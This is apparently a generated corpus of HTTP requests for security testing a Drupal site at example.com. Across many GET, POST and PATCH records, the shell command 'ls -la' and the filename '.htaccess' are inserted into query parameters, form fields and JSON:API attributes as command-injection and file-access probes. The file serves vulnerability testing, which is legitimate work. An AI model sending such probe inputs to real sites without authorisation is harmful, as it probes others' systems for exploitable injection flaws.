{"method": "GET", "target": "/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fls%20-la&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=ls%20-la&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"ls -la\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=ls+-la&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=ls+-la&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-fCKIAUgqp-X5fvv-nb6RTL0prPHa9QTUV4pR5LWsQaM&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-OhQW68GDpyCKebeLaSsM5khaGcE9MPawn_162h_BrvQ&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-_ZMo82uMFFnev4u0soP_Mnb7N26boS2YTeQYrKhnVk4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-otu04bFn0cPoVh6O5Cmmz4UIldaRE65QvUT_bcwd7Nk&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=ls+-la&body%5B0%5D%5Bvalue%5D=%3Cp%3Els+-la%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QPu6cQJNnWjY9FG_kdwApvRBM9O4CZtn3_D6IEt-YYs&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8bBu9xb8ywvW4JS_f8YTClqxyYXplGObpwzVt6q-rkQ&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=powershell%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ky_KD9zOO4hf2S4M5gm_ocUrrIHiNC33Kg38Rq2EMy8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=ls+-la&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=ls+-la&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-4-VtoJyDzgEMcVhGiG9EGrEMPZlIEZhDZU1-ngjb8uQ&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=ls--la%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=ls+-la&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"ls -la\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"ls -la\", \"description\": {\"value\": \"ls -la\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"ls -la\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"ls -la\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"ls -la\"}}}"}
{"method": "GET", "target": "/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
